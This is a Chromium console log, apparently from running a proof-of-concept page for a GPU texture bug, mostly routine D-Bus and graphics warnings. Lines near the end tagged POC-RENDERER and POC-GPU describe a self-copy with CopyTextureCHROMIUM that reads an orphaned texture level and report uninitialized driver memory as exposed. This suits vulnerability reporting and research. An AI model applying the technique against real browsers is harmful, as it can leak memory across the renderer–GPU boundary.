[874:889:0407/023045.735146:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [874:889:0407/023045.735707:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:889:0407/023045.735976:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [874:889:0407/023045.736188:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory Fontconfig error: No writable cache directories /var/cache/fontconfig /usr/local/google/home/vmiura/.cache/fontconfig /usr/local/google/home/vmiura/.fontconfig Fontconfig error: No writable cache directories /var/cache/fontconfig /usr/local/google/home/vmiura/.cache/fontconfig /usr/local/google/home/vmiura/.fontconfig Fontconfig error: No writable cache directories /var/cache/fontconfig /usr/local/google/home/vmiura/.cache/fontconfig /usr/local/google/home/vmiura/.fontconfig Fontconfig error: No writable cache directories /var/cache/fontconfig /usr/local/google/home/vmiura/.cache/fontconfig /usr/local/google/home/vmiura/.fontconfig [874:889:0407/023045.882192:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:874:0407/023045.903227:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:874:0407/023045.904624:WARNING:components/os_crypt/sync/key_storage_linux.cc:166] OSCrypt tried Libsecret but couldn't initialise. [874:874:0407/023046.000496:WARNING:chrome/browser/signin/account_consistency_mode_manager.cc:74] Desktop Identity Consistency cannot be enabled as no OAuth client ID and client secret have been configured. [874:889:0407/023046.018204:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:889:0407/023046.100408:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:874:0407/023046.116200:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [874:874:0407/023046.116592:WARNING:device/bluetooth/dbus/bluez_dbus_manager.cc:209] Floss manager service not available, cannot set Floss enable/disable. [874:889:0407/023046.116768:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:874:0407/023046.117767:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [874:874:0407/023046.134414:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [874:874:0407/023046.142930:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [874:889:0407/023046.143437:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:889:0407/023046.149188:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [874:889:0407/023046.149590:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory (poc.html:874): dbind-WARNING **: 02:30:46.159: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/229127/at-spi/bus_20: No such file or directory libEGL warning: DRI2: failed to authenticate [874:874:0407/023046.568102:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [874:874:0407/023046.574721:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [874:889:0407/023046.575226:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:874:0407/023046.575543:WARNING:dbus/property.cc:94] Failed to connect to PropertiesChangedsignal. [874:874:0407/023046.575739:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.Properties.GetAll: object_path= /org/freedesktop/UPower/devices/DisplayDevice: unknown error type: [874:874:0407/023046.575859:WARNING:dbus/property.cc:174] GetAll request failed for: org.freedesktop.UPower.Device [874:874:0407/023046.620855:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [874:889:0407/023046.621407:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:892:0407/023046.664732:ERROR:crypto/nss_util.cc:79] Failed to create /usr/local/google/home/vmiura/.local/share/pki/nssdb directory. [874:874:0407/023046.666369:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [874:889:0407/023046.666896:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [874:874:0407/023046.701058:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [874:874:0407/023046.701198:WARNING:ui/base/idle/idle_linux.cc:111] None of the known D-Bus ScreenSaver services could be used. [908:908:0407/023047.106097:WARNING:ui/gl/angle_platform_impl.cc:52] renderergl_utils.cpp:2075 (GenerateCaps): Disabling GL_EXT_clip_cull_distance because only 8 clip distances, 0 cull distances and 0 combined clip/cull distances are supported by the driver. [908:908:0407/023047.124653:ERROR:gpu/vulkan/vulkan_instance.cc:200] vkCreateInstance() failed: -9 [908:908:0407/023047.124790:ERROR:gpu/ipc/service/gpu_init.cc:1398] Failed to create and initialize Vulkan implementation. [908:908:0407/023047.125722:INFO:third_party/skia/src/gpu/vk/VulkanPreferredFeatures.cpp:434] WARNING: VulkanPreferredFeatures::addFeaturesToQuery() was not called [908:908:0407/023047.125825:INFO:third_party/skia/src/gpu/vk/VulkanPreferredFeatures.cpp:437] WARNING: VulkanPreferredFeatures::addFeaturesToEnable() was not called [908:908:0407/023047.135019:WARNING:sandbox/policy/linux/sandbox_linux.cc:404] InitializeSandbox() called with multiple threads in process gpu-process. [POC-RENDERER] hint(0x6666) trigger received [POC-RENDERER] Uploaded 0xAB pattern to tex=2, issuing CopyTextureCHROMIUM(src=dst=2, level 0->0) [POC-GPU] TextureGL::copyTexture SELF-COPY native_tex_id=53 srcLevel=0 dstLevel=0 size=64x64 [POC-GPU] Step 1/2: reserveTexImageToBeFilled -> native glTexImage2D(...,pixels=nullptr) ORPHANS the source level [POC-GPU] Step 2/2: copySubTextureHelper now READS that orphaned level (frontend still believes it is Initialized) [POC-RENDERER] CopyTextureCHROMIUM glGetError()=0x0 (0x0 == accepted -> validation gap confirmed) [POC-RENDERER] Readback: mismatches=0/16384 first8=ab ab ab ab ab ab ab ab [POC-RENDERER] Data survived (this native driver reused the allocation for same-size glTexImage2D). The validation gap and orphan-before-read still occurred -- see [POC-GPU] log lines from TextureGL::copyTexture. [POC-RENDERER] Variant2: CopyTextureCHROMIUM(src=dst=3) with destFormat=GL_RGB (forces native realloc) [POC-GPU] TextureGL::copyTexture SELF-COPY native_tex_id=56 srcLevel=0 dstLevel=0 size=64x64 [POC-GPU] Step 1/2: reserveTexImageToBeFilled -> native glTexImage2D(...,pixels=nullptr) ORPHANS the source level [POC-GPU] Step 2/2: copySubTextureHelper now READS that orphaned level (frontend still believes it is Initialized) [POC-RENDERER] Variant2: glGetError()=0x0 [POC-RENDERER] Variant2: fbstatus=0x8cd5 mismatches=12288/16384 first8=00 00 00 ff 00 00 00 ff [POC-RENDERER] *** VULNERABILITY CONFIRMED (variant2): uninitialized native-driver memory observable after self-copy orphan *** [874:889:0407/023050.185250:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: DEPRECATED_ENDPOINT [874:889:0407/023115.030240:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: DEPRECATED_ENDPOINT